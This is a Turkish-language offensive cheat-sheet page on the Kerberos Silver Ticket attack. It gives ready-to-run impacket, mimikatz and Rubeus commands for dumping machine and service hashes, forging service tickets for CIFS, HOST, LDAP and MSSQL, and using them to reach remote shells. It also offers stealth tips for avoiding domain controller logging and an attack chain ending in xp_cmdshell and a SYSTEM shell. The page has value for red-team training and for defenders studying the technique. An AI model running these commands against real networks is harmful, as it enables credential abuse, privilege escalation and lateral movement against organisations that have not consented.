Skip to content

Silver Ticket

MITRE ATT&CK · T1558.002 phase: lateral movement / persistence

MITRE ATT&CK · T1558.002 phase: lateral movement / persistence

Silver Ticket, hedeflenen servisin hesabının (bilgisayar hesabı veya servis hesabı) NTLM hash’i / AES anahtarı ile üretilen sahte bir TGS’tir. Golden Ticket’tan farkı: krbtgt gerekmez ve bilet yalnızca tek bir servise (CIFS, HOST, MSSQL, HTTP, LDAP…) geçerlidir. Bilet doğrudan servise sunulur; DC ile etkileşim gerekmez — bu da onu daha sessiz yapar (TGS-REQ yok, Event 4769 yok).

GoldenSilver
AnahtarkrbtgtServis / machine hesabı
BiletTGT (sonra herhangi TGS)Tek SPN için TGS
DC trafiğiTGS isterken DC’ye giderServise doğrudan
KapsamDomain-wideTek host/servis
SessizlikOrtaYüksek
  • Hedef servis hesabının hash’i: Bilgisayar: MACHINE$ NTLM/AES — LSASS, DCSync ( -just-dc-user ‘PC01$’ ), SAM (local).
  • Servis kullanıcısı: Kerberoasting kırığı veya DCSync.
Terminal window
impacket-secretsdump -just-dc-user 'SERVER01$' domain.local/admin:'Pass'@DC
Terminal window
impacket-secretsdump domain.local/Administrator@server01 -hashes :LOCALADMIN_NT
  1. Servis hash’ini ve SID’i topla.

  2. TGS forge et — örnekler:

    Terminal window
    impacket-ticketer -nthash <machine_or_service_NT> \
    -domain-sid S-1-5-21-1111-2222-3333 \
    -domain domain.local \
    -spn cifs/server01.domain.local \
    -user-id 500 -groups 512,513,518,519,520 \
    Administrator
    Terminal window
    impacket-ticketer -nthash <NT> -domain-sid S-1-5-21-... \
    -domain domain.local -spn host/server01.domain.local Administrator
    Terminal window
    impacket-ticketer -nthash <DC$_NT> -domain-sid S-1-5-21-... \
    -domain domain.local -spn ldap/dc01.domain.local Administrator
    Terminal window
    impacket-ticketer -nthash <sql_svc_NT> -domain-sid S-1-5-21-... \
    -domain domain.local -spn MSSQLSvc/sql01.domain.local:1433 Administrator
    Terminal window
    impacket-ticketer -aesKey <service_aes256> -domain-sid S-1-5-21-... \
    -domain domain.local -spn cifs/server01.domain.local Administrator
  3. Kullan :

    Terminal window
    export KRB5CCNAME=Administrator.ccache
    Terminal window
    impacket-psexec -k -no-pass domain.local/Administrator@server01.domain.local
    Terminal window
    impacket-smbclient -k -no-pass domain.local/Administrator@server01.domain.local
    Terminal window
    impacket-wmiexec -k -no-pass domain.local/Administrator@server01.domain.local
kerberos::golden /user:Administrator /domain:domain.local \
/sid:S-1-5-21-... /target:server01.domain.local \
/service:cifs /rc4:<machine_NT> /ptt
# Not: mimikatz'ta "golden" komutu /service ile silver üretir
Terminal window
Rubeus.exe silver /service:cifs/server01.domain.local \
/rc4:<NT> /domain:domain.local /sid:S-1-5-21-... \
/user:Administrator /ptt
SPNKullanım
cifs/fqdnSMB, PsExec, dosya paylaşımı
host/fqdnTask scheduler, WinRM bazı akışlar
ldap/fqdnLDAP / DCSync (DC$ hash)
http/fqdnHTTP SPN’li web / ADCS
MSSQLSvc/fqdn:portSQL Windows auth
WSMan/fqdnWinRM

Çok servise ihtiyaç varsa birden fazla Silver üret veya Golden kullan.

Silver Ticket · ticketer

embedded tool
Generated command
impacket-ticketer -nthash 31d6cfe0d16ae931b73c59d7e0c089c0 -domain-sid S-1-5-21-111-222-333 -domain domain.local -spn cifs/fileserver.domain.local Administrator
Kerberoast → svc_sql hash kırıldı
→ Silver Ticket SPN=MSSQLSvc/sql01
→ sysadmin / xp_cmdshell
→ veya machine hash (local admin dump)
→ Silver cifs/sql01 → SYSTEM shell
  • DC’ye Kerberos trafiği yok → Golden’a göre daha az 4768/4769.
  • Servis tarafında hâlâ logon/access log’u oluşur.
  • PAC’te Domain Admins grupları ile Administrator — servis PAC doğrulaması yapıyorsa (PAC validation) machine key ile imza geçerli olduğu sürece genelde kabul edilir; bazı servisler ek kontrol yapar.
  • Machine parola ~30 günde değişir → Silver ömrü sınırlı; hash’i yenile.
  • AES Silver, RC4’ten daha az dikkat çeker (modern etype).
  • Yanlış SPN ( CIFS vs cifs , NetBIOS vs FQDN).
  • Bilgisayar hash’i yerine kullanıcı hash’i (veya tersi).
  • Tek Silver ile WMI + SMB beklemek — farklı SPN gerekebilir.
  • IP ile bağlantı; Kerberos isim ister.
  • user-id / grup RID’siz bilet bazı erişimlerde yetersiz kalır.

Pass-the-Ticket · Golden Ticket · Exec methods · Persistence